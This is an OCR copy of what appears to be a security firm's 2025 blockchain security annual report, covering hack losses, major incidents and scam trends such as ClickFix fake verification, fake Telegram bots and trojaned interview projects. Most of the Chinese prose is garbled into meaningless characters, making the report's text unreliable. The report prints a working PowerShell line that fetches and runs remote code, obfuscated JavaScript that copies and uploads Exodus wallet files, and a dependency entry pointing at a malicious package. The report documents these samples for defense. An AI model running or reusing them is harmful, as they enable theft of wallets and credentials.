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2025 &, RREETUREEEEL, BUERHAE. KEFAEHERTERESM, F25%2

ABEEER, —FE RELALASHTREILEESNERBHALILE T WAL, BHEEXE
EMEHER ERTIRAD, AAHBFEHINERNEETH AR DeFi EARNRIFLRE
, Meme K17, NREEF N ERE|I K KFHK, RaaS/MaaS RFILEFE TILF I, EEXHEAR

BEEMKTE HEERELTI KT, SLHEN, thTREARTHAR, RElthXRIERERE. B

IWTESEMEHMREERESEE, LT, SEMEHAMBES AML/CFT 2R % i,
EE. ZE. RBRITMNGEXFFESEBENETS, g&LBR BFRIMEEEFFERELER
& BEHGEMUEMNE QITHERRGEEE, EEXTNE, TRXEBADAEFLR

FHREBEFENL, KEZLMN —TDUFHIE ERARSTEABESILEARNERARE BRE

B 5 AERE Z BRI RL L LIEEEM,

AR RER ETUHEEITE, 1EF(SlowMist) FHEEBMFER, WHEN, BERARMENAX
AR DYHEEREAEWESFE, ARERE 2025 EXBREEH . APT ALED)
B, AEERERETRBEREER FERNTLMLE  REHABEAAEEARTAR
Hxef, R, BEARBRAMREENSE, RAXMKKIIAG, WNEHHEEN,

— RREZEDH

2025 4, XREETUAHEIGETIRHR S HRE. RIFEBEXREHRERSHERE (SlowMist
Hacked) RE£ 81T, £ FHREREEH 200 #2, ERM KL 29.35 2% 5T, Lk 2024 £ (410
e, MEN 201312%m), REZUHHEAE TR, ERXESFHR L EHALY 46%, CE:XRE
HIEETEHRERPUATMNE, BTFHNKS. BO2RLIFEHURERAFURERAALS
TEHERR, RFRBRENE TRITER)



https://hacked.slowmist.io/
https://hacked.slowmist.io/

[SlowMist Hacked Statisticall:

Total 2025 hack event(s) 200 ;

The total amount of money lost by blockchain hackers is about $ 2,935,4664855,00 5
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2.1 BEEHRK
MBREDSHS

e Fthereum MR ERFEMZHHAER, HXMELN 2.542%FE5T;
e BSC H®R, #1449 2193 A=ET;
o Solana IFIE=, MKHN 1745 FETT,
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(2)#ZTE XA

o DefFiTEBERREERGHTIL 2025 FHERE 126 EXREFEH, AEHEFEHH 63%, 1R
RE) 649 12K T, R 2024 F (339 #2, Ak 10.29 {Z3ETT) K T IRLY 37%,

o XZTEEHMI2EE, FEMSX 18.09 2% tMk, Eo Bybit BREMRAKL 14.6 12
X, REFERTESEH,

2025 FEFEREEHIHRMEK

B B%EEW (FA%n) W BH8E

D BREH NFT B #8 Other

() EBRHREE

o BHARAREIERRA, #£61i;
o XKSWRAMHEE, i 48 i,
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2.2 FEHK Top 10 WEHEH

2025 ik Top10 M

$1,500,000,000 - $1:460,000,000

$1,000,000,000

$500,000,000

$230,000,000

$121,100,000
$90,000,000
$70,000000 $70,000000 $54,000,000 $50,000,000 $44200,000 $42,000,000

Bybit Cetus Balancer V2 Nobitex Phemex UPCX BtcTurk Infini CoinDCX GMX
Protocol

(2025 #i%k Top10 MIRE WL EH)



2.2.7 Bybit

2 A 218, # LR ZachXBT # 5 Bybit FAHAZTERTAERE, RABRIARREBHERE
146 ZERHMBR=HWE, RVEERREETRANMELTLRLERZ—. BHRER
, 1EE (SlowMist) F—ATEIE A M EE IR Safe ZENRMA X RFLEEXTITRIITHH, FIET
KWHERE RS ERALR, #—LHoMER, WEFELIRE T app.safe.global B¢ A3 B2
HIA, FLUERAD, X Bybit {# AR Safe(Wallet} EEEAXHE TR AR L, EfF, Safe 5
Bybit k& AR EFELNE, HWIAKEIRE Safe(Wallet} B AWS ERIZHE (R85 & S3/
CloudFront K2k API Key it TS A{R), Bybit B & EMREHF R ER KT,

2.2.2 Cetus Protocol

58 228, Sui £ FaNEIR R Cetus Protocol B2 K, 10 FahEitREKETE, &
NEERDRZXNNMEHAAETHR, L EEREXESTER 23{2%x,. e, MEAEHREE
HRIEEREYHBEL 1.62 ZEXTE™. EF(SlowMist) AT INARKEHRAFRR T E
EBE®WAE: HE—, Cork A AP EN CorkConfig &8I LUMEE R~ E RN BERIE (RA)
BT, EREESLUE DSIREN RAHZ, FEAFPYAEXZZRNMWIE R TEA CorkHook
B4 beforeSwap B %k, FH & A BE X hook #iEN 1T CorkCall #24E, MM EREEEBIRAR
2, BEEMHPH DS RBER—THFEN RAEA, #MIRIN AR DS & CT K,

2.2.3 Balancer V2

11 B 3 B, DeFi thi¥ Balancer V2 E@RRAK T, ZEHXNR A THEIRE M (Composable
Stable Pools) , Lt RH T 7E LLALE. Arbitrum, Base, Optimism #0 Polygon £ 3£5& /8 1.211 (2% T
IR =K 1B F (SlowMist) 72 i BIAR H IR AR RE T Stable Pool “exact-out” IR FH1F
EOERAAMER, ZREELEREESIIANBERZELURBERIERETHRHE—DHRK
, SEBREEFLURIEMANFI TR M BPT HNEITE, MMUEZEETEXEARHARXKN
BEIREUMANEE, 11 A 19 B, Balancer K iE R/ HIRET, ERIBHEEAING, &HQEDE
FEHETEZWMEREHERE REY 4570 FETHAFR RSB UERPSER,

2.2.4 Nobitex

6 A 18 B, SEMITFHRIAMMER TR ST Nobitex EBRER L, 2FEHIN WEER/EE
BATERFAES DB L, 8RN 1 ZETNBERS, BEFE DERIFNE
B, B ‘Gonjeshke Darande” (B "#R3FZE", X¥F Predatory Sparrow) FISELIE FI R AR


https://mp.weixin.qq.com/s/FRah-8tZ9cI7Pc_u3JNXyg
https://mp.weixin.qq.com/s/w4xkia029ZMKNjrXnT506g
https://mp.weixin.qq.com/s/zywPIK08hpy-Ug6rc9Qysw
https://mp.weixin.qq.com/s/BHZg8t7BGAuzRiAaT9g-Yg

EMMERBREHAR, FHE 24 /DEAXH T ZESHRABMASKE. B8 ZER5LUES
FHAEXEK, FHEZ Nobitex 2" HBNEME XL, MEHRMWXBENTE',

2.2.5 Phemex

1A 238, RS TFHMEHMNZEHE TR ST Phemex Réx@TERN KT, E/ML 7,000 B ETH
BFEHRE, SREMEMRKT. SARRERTLTRIAN, EREHTESHSEHEXBERTARN
TraderTraitor H%X.2 A 20 B, # L ENE R, REBFEFIEXNEERESHTIRSMNER, R~
A Tornado Cash ZEMARS -

2.2.6 UPCX

4818, RREXZFFEE UPCX MEAUERIRERFE, KEESRLIRRT S8 AR,
BEFAR ProxyAdmin & 45 A withdrawByAdmin E%, M= EEIKF R T HitH4
1,840 B UPC(4 7,000 FER) . EHRER, FEMEERAEE UPC HRESIRIIEE. 4 A
4 B, UPCX EH R TFE XX R R, WHATKBREELY 18,473,290 # UPC, {F4RELHE# M X
UPC BB FBIR1E,

2.2.7 BtcTurk

8 R 148, tEEMEHR TR ZAT BicTurk RUBREBRERE, MKXH 5400 BETx, &
ETH. AVAX, ARB, Base. Optimism. Mantle ¥1 MATIC %/, & L#HFEER, XBHLHEERE
FEPRAFEN L, FUADRKRETH, BERXEEEREHEERERNHRA ETH, BtecTurk bE
RRAEAZAEN' REIY HFEETEMRESRIAYE #REEREHETRE,

2.2.8 Infini

2A 248, TETREMMMESXDHRRIT nfn EXd, RHERRT - M RAFEEINR
BT, FEEATE 5000 AETAE, Infini €138 A Christian R#ERT, TARRPARME, =
4R T RT3 AR AT AIRVEBR 2, 3 A 20 B, Infini MIXEE R EELER, M LB IFIASXH
. $5¥EHI R T Chen Shanxuan # i HXLY 4,950 75 USDC, #HBREFEMEX AT RIEBX HER.
8A 1A, Infin BRAEZ#E LHEEMRTEERLER, RTEE 8 A 13 B 20:00 AIFEHER
T, BABRIH—$EETY REETRBEBIEENBERE,


https://x.com/Phemex_official/status/1882417902038749317
https://x.com/Upcxofficial/status/1907024397497749647
https://x.com/BtcTurkKripto/status/1955981988747198513
https://x.com/0xinfini/status/1893973307596435871

2.2.9 CoinDCX

7 B 19 B, LR ZachXBT FEN ARBEX X "BEXMNEMDLMER ZFE CoinDCX 7]
BETERY 17 /NETRTHR S, k4N 4,420 BER, 'TAR, ARG Sumit Gupta B RZFF, Sumit
EEXINEMHRAZE— M ATRERIEMASBIERS, EFNASEETFERSMN K
THRMFIARZIEZMW, XZFIRKIFREEE, HEFENLSEIRKTH CoinDCX HIE &R &
8,7 A 31 B, #& FinanceFeeds k3, CoinDCX B— i T2 R4 & hBh B i, h &
URIRIENEMZERGIRTMEMTRERERE, FXTSOARNFR, ZEERER—
HEERMBHEIDFSR WEHEEILRIMEZZIEFHE ConDCX MRS RE, RASHT RS
.

2.2.10 GMX

7B 9 A8, BFEE MistEye REKERFHN, MEBZEPMERZFE CMX BR &, BRENER
4,200 AERITHIEF, ZIBF(SlowMist) 24T, RRBEHIDETHREEFAT Keeper R4
TITRNKERMT, URMENKEHFLETEFUNEMTEENAREHFUEXANHE, ELE
AWEQERIMZEL LT, RIETLERELTEHNENLRELCHMBENE, MMEERKT
GLP &k BEEIZRFI, 7 A 19 H, GMX EX FERXTEHRERE, 2IHE, WEERE T
BEHERE, FRB S0 FETES,

2.3 BRIFFIK

2025 F, RREBARPHFRSEBAXKETFEREAR, ETNHERBMRBRMEELBREN M
RENEBZRLBIENNRHF. EERBRTHNRNERS XETEEKBE—-AKX MEREE
HE TR REHFNHE . FHPETEERESEESEKRE MRAEERREMBIF SR EESE, U
TR 2025 FEGERAXIM/LMARSHEMKETFIL,

2.3.1 NEKE

2025 FHAMERRERMRNE R Z—, WEAXMERAL, BRIERTE, ¥ RESE RS
T HRENR MU EERFEFNESTF A TEREFABEEREYICH MEFSAS,
Bo'BRLREMERIRE, BAEMRREBTAERMNEEAX, HERGHEMEEEZE
/P N

(1) Clickfix fy &% &


https://financefeeds.com/coindcx-software-engineer-arrested-in-44-million-insider-aided-crypto-heist/
https://mp.weixin.qq.com/s/LkI1qZ_IJKlO-sTlEptYCw

Clickfix WA G R —RAMMW AIRREENE" EROAFERFSASEKIUEN, MR
BEEMEMMNAIRE, FSAFIINTEERE KEEREHEAFRABNRERIERE
CBIIIASEARRE, FEEEHRENENE, FEIMIEFEXSAELNERFTHES
=

Fto

B %

2% upfilenew.cc

CloudFlare

Verify you are human by completing the action below.

Verifying... ~ cLouoFLare
Terms

To better prove you are not a robot, please:

1.Press 8@ + R
2. In the verification window, press Ctrl + V

3.Press Enter tofinish

You will observe and agree
"Verify you are human - Ray ID: 93f05fb8ac2d7737"

Perform the steps above to
finish verification

AXRGRREEEF, YA ATRIREHOERBEN, NENERAEREREERTHERE
ARGEMR, FHE—L5SAFETRERIXRSEITEO TREIL . X—IREEHMESE
BARERIRELES], AP RUNRZ—RLEMRIES R, i h—BHEIIT BEMAESMZT
BIRS2H TERIFTTERIERF, EARMBIIFAEHEF,



BENHEXEARANIAER KREEEFAREERTENERGIES, BREENRHEHR
&, mERaAX M., 78, BriciA. ﬁﬁﬁu&?&ﬁﬁklﬂ-’é%, 3 Al el T I AR 42 | AR 55 AR 2
[E]4% 2545

— Collection

Match

Searches for sensitive browser data

Searches for sensitive mail data

FEITHE ZRXNERGEFEAHRTIRZFRERIN — BEFSAFNTELEESS
T AR THEEREMEN., AFEE ERTHATHRG S, TRESBESMAFR
%

(2) Solana £ Owner R & 2k

FEERE G, HEa# SN BTRAREKESRE" . 1€F(SlowMist) 7 2025 FHBI D47
m—EESd, XEEEENERT, HEAPFEFEENEE, HEMBERNANITETR, F


https://mp.weixin.qq.com/s/Q9ALuIk1wxWEcuxThUyoyQ
https://mp.weixin.qq.com/s/wVgYN5gOAkydidRF7Q2n-g

B EER BRI # Owner IR, EESEET 300 AETHETHE, RAXTAR™—EH
BIEFE DeFi P LR 1E,

#4.1 - Token Program: Approve Raw

t 1B446744073709551615

#5 - Unknown: Unknown Raw

GKJBELAWSR|g24wPBENRaKGsEBrPLgMIiv3DhbJwbz( W

= 0a00000000000000

#5.1 - System Program: Assign raw @)

count : "9w2e3kpt5X dGb51r 0h4JFs6FLTTAEYSvKqEW
GKJIELft‘NSRjum&mmiltrl’miﬁbhbﬂwbﬂ

}

REEGESHEMNZKS M B St K ERKURIERR, BEREXSHEAK. X—1FR5 TRON
AXRPMEHIAN BESE RHEEASERLE. REZ, FEREHTRELE LW RRIK
&, MERDR (Owner R BB EEZHR, SHZEBFAEBRK, MEIRNSEIEIE DeFi
Br=, WEXNE REKER/RL, BETZEHN . KEEFATHEMREXMWISBDIERT
ArRREH :E"“‘*%K%H‘J RARBMLSTXRSHMPITER MRARESTLEHNLEER
AXEREL MAGERODMENRZEERETIL . -, REMNLAL EOA KE BIHAE
HIFTEN, EMERFR Solana F7E A LUEHIK S AT B R4,

BEEMNBAZAGEKSE, Owner 2&&KS (11111111111111111111111111111111), FER
SNEEBENRERIEXRZFZIELEEHNNMAAZIEMELN, XFHhEEKS T EENBET &



DEBIAE BN Owner, BRILLER Z e &V AABITEH, H b assign 5SS # Owner
MERTEZR A new_owner, EiZBFERF G, £ Solana CLI & i (40 Solana Web3.js)ﬂﬁﬁﬁi$’|\
ER. ARNEEHERFARX—HHEESIEEIIELEH assign BRI 57, MBEERS
BHSER T Z2EEH &S it Owner M5,

let assign_ix = system_instruction::assign(
account_to_assign.key,
&new_owner,

);

ﬁr**{zwkﬁ&%’ir fﬂExéﬁei&# 4, ﬂﬁé%é&‘ﬁﬂijb’f’]é%
(3)EIP-7702 128Uk F

MEEW P REXIRERD EiM, FOPNENEENNERENEZEVARSA 24 H, — i
PR EIP-7702 S PURE BB AT, SHMKX 146,551 £, KEHALHIEFK
Inferno Drainer K&, EFEFAT EIP-7702 M#F 4t MK, LtRFEEZHEAXIEA
F# EOA #htit 8N 7702 & 494k, BN delegated address FIEf&tthit, M2 /L RABTFAFEIER
MetaMask: EIP-7702 Delegator(0x63c0c19a282a1B52b07dD5a65b58948A07DAE32B):

Transactions Internal Transact tions Token Transfers (ERC-20) NFT Transfers Authorizations (EIP-7702) Analytics Assets Cards New W Advanced Filter v

15 Latest 1 EIP-7702 Authorization Event
Transac tion Hash Block Age Delegated Addre: Tx Sender Nonce Valid? ®

0x1ff12ceb1869f7d1b... 22509683 6d. go 0x63c0c19a282a1B52. 0xc6D289d55fE64227.. 706 Yes
MetaMask EIP 7702 Delegator 0x63c0c19a282a1B52b07dD5a65b58948A07DAE32B

HE&F|IFHT MetaMask: EIP-7702 Delegator BB RIHLHI KT ZE H ik A % token Mt 22N
&IRTIRE



0xc6D289d55fE64227A09E3120855ccBa0d2E606DC

—

Victim Address
>
0xc6D289d55fE64227A09E3120855ccBa0d2E606DC (D) @

4 0ETH ($0.00)
0.001387505999887128 ETH $3.46

4.060026686 Gwei (0.000000004060026686 ETH)

$2,526.90 / ETH
518,442 341,748 (65.92%)
Base: 3.090026684 Gwei | Max: 5.342706644 Gwei | Max Priority: 0.970000002 Gwei

@ Burnt:0.001056010439203632 ETH ($2.64) @ Txn Savings: 0.000438353310286584 ETH ($1.09)

Txn Type: 2 (EIP-1559) Nonce: 728 Position In Block: 282

Function:bytesSZ proposalld, bytes actions) ***

execute from MetaMask: EIP-7702 Delegator
MethodID: 9

[e]: ©100000000000006000000000000000000000PL0B0OE0BE0A0PEABAAB00
[1]: ©eEEEOEEE0EEE0EELAEOEAEABAEELAA0AAREAEEAEEBNRREVREORBRA0
[2]: ©0EOBOERLOROLBPVRLOL0EROBA0B0EREV0BR0RLOBBE0OR0R00BR0RRRa40
[3]: ©000BeER00E00PEPVA0AEEEEAAOALEEEEORE0B0ABBE0RAEAEPEAN0E020
[4]:

a

View Input As v & Decode Input Data [@ View In Decoder W Advanced Filter

RPN ERFZAUER, IBRRRETF EIP-7702 T RMOFIENHEE — FAF 9 EOA Hiilk 7]
LIERRAEN Y, FEERXTSANEE (Nt 8K, HERN. gas R4F) . 7
Wintermute BI224E, BRITEI 07% B EIP-7702 #R4TH, #IFNEE P TH A F—Eéﬁlﬁlﬁﬁ%’q
2160, XEEUKRTLEAIEMN Sweeper (BaN/FHRR)", HAGEEMUTAMER, B
ST H AR ETH R E,


https://x.com/wintermute_t/status/1928501765865091400

Delegate Contracts Distribution Delegate Contracts -- Multichain

Al ®
CrimeEnjoyor @
Metamask
0x0610..0F19 ®
Revoked Delegati @
0xF603..D8AC ®
0x9510..820D0 @
0x4973..4268 @
OXEF05..F4AE @
0x5DA9..35CF @
0x4225..72CD
OxFDE6..3EC5 @
0xA8CC..0A49 @
0xB805..153D ®
0x8C8C..680A @

@ @wintermute_research s+ 19min &

s, —EppHa TR R ERFBRERIUREMRER, th e/ EMEAKET Ik,
XF EIP-7702 RENHNE S KR AIEF |

(4) Telegram {& Safeguard % /5

2025 &£¥), KERFE Telegram E&EBE .
KWBLESAPRTERRPOESRB KD, EERTZER. (58 KOL EFESMIR
ZER, BIRTFERERR MERLRFEMIIE, halfE7E FOMO BEE ARIE HEBER
ThiZ, kBB EEL AP, —FHREW Telegram kS, WFEIFSFHFRAFNES. B
iE#, & ZE Two-Step Verification ZiBRFBEE Telegram S, BF—FHE2EHAFERIEAKRD,
thRHIARSHFiE,

WMFEECNERBE KOL M X S, FEITFIREM L Telegram 8%, BBERFMAHRE”
Telegram BALIRBIRBIER ., # AiZ Telegram Channel fg, AR £# 5| S# TR, md Tap
to verify I, &TFHF— MBS 8 Safeguard bot, i £ £ /RIEFEFTRIE, ZWUEE O F 46T
B, EEH—MEAR%, BEAPREIEE,


https://mp.weixin.qq.com/s/vlhTfGGs5oz8_SKRozpsXQ
https://mp.weixin.qq.com/s/2Y-yKvTNQSTxkBADGywMHg

Ethereum Foundation Safeguard

Post i

Ethereum Foundation @ethereumfndn - 1h
0. hello world computer, and welcome to the

new Ethereum Foundation X account
Today

Channel created
“er 4 Arbitrum (%9, 89) & @arbitrun Ethereum Foundation
2, we approve this message

Q 1) il

Safeguard

=4 Telegram DISCLAIMER

> Ethreium Fuondation &% £
Y stheriumfndn

5. Furthermore, our official VIP telegram channel
is now live.

Human Verification

Join now to automatically qualify for Early
Adopter & Future Community Rewards.

Ethereum Foundation is being
protected by Human verification through Safeguard Portal

Limited to 5,000 people: &

not available on Mobile devices. Press
Click below to verify you're human. 'Disclaimer’ to view more information.
’ Ethereum Foundation

V.

Tap to Verify Powered By:

You joined the channel
DISCLAIMER

#ELd GRBEETRIFEY RLULAFFHIRIEMRTFEHIAT



Safeguard

{ Safeguard Portal

To protect against phishing attacks and
malicious applications, please follow the
verification steps below.

' Step 1

Click 5% Windows + R to open the "Run’
dialog box.

Step 2

To securely verify through your own
Telegram, press CTRL + V to paste
‘Telegram' into the dialog box.

Step 3
Verification th

portal to com Finally, simply press Enter to authenticate
your account and you will be automatically
redirected to the desired group.

Waiting to process manual
verification..

Aunthenticatio

InF 1R M5 thEE T Stepl, Step2, Step3, AR MIREELFEBERRE, MERAFEM
RIBIERITIOEITAE, 3F Crl + VIEBRERBRARHEHISTIESR, thdrRSHMMTHE, T;i
EEHERILBAS, —KAFEAMATERZ Telegram FHEBERB, XEBERBE
Powershell {66, MITESBEZF R THE S XMEERE, RAFBMBRLZEZEHARD (4N
Remcos) . — B BBINE A DL, REFERETEGIREMP a4, BiciE. . EB%
BRER EEH#HTEFTEDG,

powershell -w hidden -c $a='aHR@cHMELY9yMTIKMTIuc3BhY2UvYi50eHQ=";$b=[Convert]: :FromBase64String($a);$c=[System.Text.Encoding]::UTF8.GetString($b);
$d="iwr $c | iex";Invoke-Expression $d; # Telegram

X

Windows SARIBIRFFNIIERR, FIRIFHEMAGER. X+
= s gt internet %,

$TFFO): [m | -]

EB)-..




MBEFHNLITHY, WMFE—FHEF Telegram PR, MR FZ Windows BN, 2 Mac &
iy, th—HBRUMALXKRFZESAFMERTS, EBREL, MEVTRB ST IR EHRE
EARE BUGIAIRIWMLUTHERE: ERMAEERAINAEKT, BB BE it EiRMA
HEHBEREFRIHIKSED, 2FA, SIEMRFE. XZF A, Telegram F HEELE RS, FHEA
Bitdefender, Kaspersky, AVG X XS T E#TEEERK.

bRy aRdE, REEMTAAE IEEREENRAER ZMEE—T RERFET
E?EXTNHRFEEAN? ETERIEAMA 4 ? NREEREMARREEEFE SF
EEEAHI - LFENNR. BEMM, RRAEDFEMEBERNMT, DA —EEFETE, F
AAEWEXRRHA. FTRHOUREFERAFEATIRT"HHRAILRE, #HES. ;T A
EREALZMEE-—TMER#A. ARTXE'WNS, BEEHNEER"RERINKIEES
REE MERETHRIERXBRIRE, S50 REVES TREN, ERFHEE. RESHR
BRE—T, BOUEREEATUKAERNZER. 52, 2F—R. ZHIA—R Tila, FELXE,
LBECRBRERYP . KHEAFPEER. MEARRE, ASAATRE BIFEILLET, T&
RERELE, REMIIRLYE, HXRNERTHXNEMEXRIBRE, &E, FEHEFRRXR
BEEEBMEREMD,

232 S ITRKE
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Guilherme Jones

‘ Guilherme Jones - 920 AM
Hi Bruno Skvorc

=3
2!
2l

JES

Currently focusing on developing a Socifi game and looking to hire developers for it.

Based on cutting edge blockehain technology, this game allows you to gather friends, form teams, and compete with other players to earn token rewards for your skills.
Now we want to develop a new platform that integrates staking sites, NFT marketplaces, and other features using game tokens and NFT assets.

Our project is a staking smart contract platform by socifi-mvp Games.
- A decentralized exchange

- Games

- Multi-game community features

- NFTs/Tokens

- Live streaming services

You can check out the MVP v2 design here: htt

ww.figma.com/design/MBfSHrcm30KOnivR4rihdd/Cryptoasis-MVP-V1?node-id=0-1&p=f&t=ELICRJESMLJWOYVb-0

| have already hired backend and smart contract developers.
| would like to recommend you as a project manager or blockchain and frontend development team leader.

| think with your background and experience, you can help me. What | mean is your experience will be valuable for me

You are quite a man. A real inspiration for me. | know you didnt expect to have me around but | believe your skill is very perfect and suitable for this project. So I'd like to work with you. Okay

This is the hiring process of our compary
- Checking background
- Live Coding

Tachnical Intarview

o

F(SlowMist) 2 &K, XEXHHBERBEERBET ZRMAT o, FIa050ERE KB
EEHABTHENENEE. —BERBET, BEEFESAEREIIT GBI RHREHK

. &% Keychain, SSH A AFBRER, F SRR ERIRSHEILFAERE, BERE

EESTHNEVNPEEFSEKRALREE, SBRXEEETHEMELER,
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https://mp.weixin.qq.com/s/gWNnKinROb6TyWwAEv5JGw

return !8x1;

¥
anst R = wiF);

unction S(b1) {
return fIR](bl);

anst T = "¥YIILYXR1UmVhZFN@cmVhb) ' ;

unction U(bL) {
return scrs = wi(T), flscrs]l(bl);

unction blc, d) {
const e = al);
return b = function(f, g) {
f =1 - dxl08;
let h = elfl;
return hj
}, blc, db;

anction al) {
const cm = ["fkd_', 'd3]pdGVGaWxlU3luYw', "L3Bkb3c', 'Ym]sZGNuZZNuYXBuZG9kanA', 'LOFwcERhdGEv', 'cmVhZGRpcINShmM', "a2VSMySkYg', 'OjEyNDO=', 'pld_', 'c3RhdFNSbr
a = function() {
return cm;

return al);

anst ¥ = bN(@x145),
W = bN(@x15d),
X = bM(@x106),
Y = bN(@x127),
Z = bN(ex149),
a® = 'Yia',
al = bN(@x17b),
a2 = bN(Bx133),

a3 = wiv),

ad = wiwW),

a5 = 'aZmlsZWshbWl',
ab = bN{8x114),

a7 = bN(Bx141),

ad = bN{8x163),

a9 = bN({Bx135),

aa = hias),

ab = hia6),

ac = hia9),

ad = hi{a7),

ae = hiaB),

af = wi¥),

ag = wla2),

ah = wlH),

ai = bN(ox10a),

aj = bN{@x12e),

ak = 'LIVzZXIgRGFaYD',
al = 'Lexp¥nlhcnkv(XBwbG1j YXRpb2agU3VwcGoydCa’,

am = 'QnJhdmVTb2Z8d2FyZS9CcmF2ZS10emI3c2Vy ',
an = bN(Bx103),

ao = 'R29vIZx1LBNocmItZIQ’,

ap = bN{@x13b},

ag = 'TG9iYwwv' + ao,
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HiEZEEE N, RRAIZEHTH S RITRELRNEBR IRBERSFATERAZANFIR
MIRES EETH, EHETRSHNERERRE NN,


https://mp.weixin.qq.com/s/2J0Ogp4o1Sx_0OVOCO_nBQ

const uploadEs = _Bx%c63c8 => {

let _Bx399f4c = '';
let _Bx384fb4 = 4
atform[0])
_Bx399f4c = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
e 'd" == platform[0]
_Bx399f4c = getAbsolutePath('~/') + “/Library/Application Support/exodus.wallet";

else

_Bx399f4c = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";

if (testPath(_8x399f4c)
1 _0x509¢54 = [1;
try {
_Bx509¢c54 = fs.readdirSync(_0x399f4c);
} catch (_Bx53bdab) {
_0x509c54 = [];
F
let _OxcfaBb6 = 0;
if (!testPath(getAbsolutePath('~f') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
}
_Bx509c54.forEach(async _BxeBe8éb => {
let _0x577d0a = path.join(_0x399f4c, _OxeDeB6b);
try 1
fs_promises.copyFile(_8x577d@a, getAbsolutePath('~/') + "/.n3/tp" + _Oxcfad56);

filename: "64_" _BxeBe8éb

};

_Ox384fb4. push({
'value': fs.createReadStream(getAbsolutePath('~/') + '/f.n3/tp' + _Bxcfabbs),
'options': _B@x3cBcdl

-

_BxcfaB56 += 1;

catch (_Pxab0cl3

Upload(_Ox384fb4, _BOx9cé3c8);
return _Bx384fb4;

2Q)BRERELTRIER

BRELXETRITWME 2025 EHETIERETMFHEIZ — WEEBEFRT X, Telegram &
#HREE, EIKHERAZREWME. TULHFENMELL2ARHE, BEFTUHEL S TEMIL
NS

A—RAVEF P HEEEIX FTEERZTETRATIEMZEE. BEIOLERER X
ARURERR"HEN A FED, FEREEFAEMLERERBENIELERF, KEMkE
ZEENREMARKSHAEEE,


https://mp.weixin.qq.com/s/kbSOujQ--qEtxi_NWbBdRg

G
you get a short period after graduating to hyper gamble into elite
status, and if you fail you just end up a wage cuck for life

Korey Brock() @ @
@pig_space

pragmatic ideas guy\\

data scientist @SlowMist Team by day

hunter @Fnct_Officialen \ @Web3Career by night
prev:

@stix_co

@fydetreasury

send me good music

BiEEN

@ Dubai, United Arab Emirates (2 linktr.ee/koreyOx 2014428 A
2,374 FEXTE 5,401 %FE  3iTHAES

AA—ETWEBRED, RHENLUSHAFEERRENNE, TIRRZESE, FHAUAR
REFESREA, ARHITFAESEFEN'ERENSHETIR , ZTEARIT LAUER
FERBENEETS, FAFRUNZLAERRS. £EWERT, TERXEHE AR
REE"HRE.
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Signature Extension  Exploits Learn FAQ  More ¥

© Signature Checker

Q Search by Address nr{F‘rlx-;J.In Key ]

What Are Phishing Signatures?

Phishing signatures refer to fraudulent or malicious signatures that are attached to transactions, tokens, or contracts within blockchain networks. These
signatures are deliberately crafted to deceive users into compromising their private keys, authorization tokens, or funds. Attackers utilize these malicious
signatures to manipulate or scam users into authorizing transactions that may lead to significant financial loss.

How Do Phishing Signatures Occur?

Phishing signatures typically occur when users unknowingly interact with compromised or malicious smart contracts, decentralized applications (dApps), or
fake token requests. These malicious entities are often disguised as legitimate projects or tools but are designed to trick users into authorizing unwanted or
harmful transactions. By accepting these fraudulent signatures, users may unknowingly authorize access to their funds or private data, putting their digital
assets at risk. It's crucial to exercise caution when interacting with unknown or unverified applications.

How Can You Detect and Remove Phishing Signatures?
The Phishing Signature Checker allows you to easily detect any phishing signatures associated with your wallet address. To begin, simply enter your wallet
address. Our tool will then scan and identify any transactions associated with malicious contracts or phishing attempts. If any phishing signatures are

detected, you can clear them directly from the interface, effectively remaoving them from your account. It is highly recommended to perform regular checks
and clear any phishing signatures to ensure your digital assets remain secure.

Why Is It Important to Clear Phishing Signatures?

Clearing phishing signatures is an essential step in safeguarding your wallet and preventing malicious actors from gaining unauthorized access to your funds.
Even if you have not authorized any suspicious transactions, phishing signatures may still pose a risk, as they could potentially be used in future interactions
or trigger unwanted approvals without your knowledge. By removing these malicious signatures, you effectively limit the potential for future attacks and
reduce the risk of theft. Regularly monitoring your wallet and clearing any identified phishing signatures will provide a critical layer of protection for your
digital assets.
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20254 7 B, BEWMBHAH T —EEEA GitHub £#7] Solana TEMSBA T HIEME 4,

=
EEBHETIT—1M4 R solana-pumpfun-bot BIFFRIIE i7, HEAM BTG IFERE~HX, %
I B 7£ GitHub E¥AREM Star & Fork 3t 8, ZE LB LUERAISE,
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https://mp.weixin.qq.com/s/M44elbWv3G582Epwhmydrg

O 2dp2002

‘ode () Issues 2

solana-pumpfun-bot

11 Pullrequests () Actions

@ solana-pumpfun-bot #ubic

¥ main ~ ¥ 1Branch © 0 Tags

@ 2dp2002 Update README.md
B github

B constants
W liquidity

B market

I readme

I types

| utiis
-env.example
npmre

¥ LICENSE.md

[} README.md

H—

[ Projects () Secwrity |~ Insights

Q Go to file

Best Version

Update README.md

THWMERN, ZUEFEHESE  RBIR3
5 HAREA 5| T — 142 7 crypto-layout-utils BIEE=A 8, MZEBEH NPM BEATZE, BiRAK

Q Type

@ watch 3

o §5) & Commits

& sponsor

Add file ~

3 weeks ago

3 weeks ago

5 days ago

XA EER, RZER

to searck

Y Fork 423 f7 Star 880

About

Used to snipe new tokens on Pump.Fun
and Raydium for profit. This code is error
free and requires careful reading on how
touse it.

crypte  meme  blockchain

cryptocurrency web3 memecain

solana  pump-bot  solana-token

spl-token  raydium  sal-bot

spl-token-snipe  pumpfun

pumptun-buy-bot

M Readme

o MS-PL license

A Activity

tr 650 stars
@ 3 watching
Y a23forks

Report repository
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25 github.com,

[ ¥ main + solana-pumpfun-bot | package-lock.json

Code Blame 4037 lines (4037 loc) - 148 KB
1829 }
1830 b
1831 "node_modules/crypto-hash": {
1832 "yersion": "1.3.0",

1833 “resolved": “https://registry.npmjs.org/crypto-hash/-/crypto-hash-1.3.0.tgz",
1834 "integrity": “sha512-1yAZ@EMy jDkVvzBW0eVnuCPvKVBXcMv1155Vq01yC7PzTwrD/pPje/BIRbWhMoPe436U+Y2nD7 f5bFx@kt+Sbg==",
1835 “license": "MIT",
1836 “engines": {
1837 "node": ">=8"
1838 h
1839 "funding”: {
1848 "url®: "https://github.com/sponsors/sindresorhus"
1841 }
1842 |
1843 “node_modules/crypto-layout-utils": {
1844 “version”: "1.3.1",
=++ 1845 "resolved": "https://github.com/sjaduwhv/testing-dev-log/releases/download/1.3.1/crypto-layout-utils-1.3.1.tgz",
1846 "license™: “MIT"
1847 },
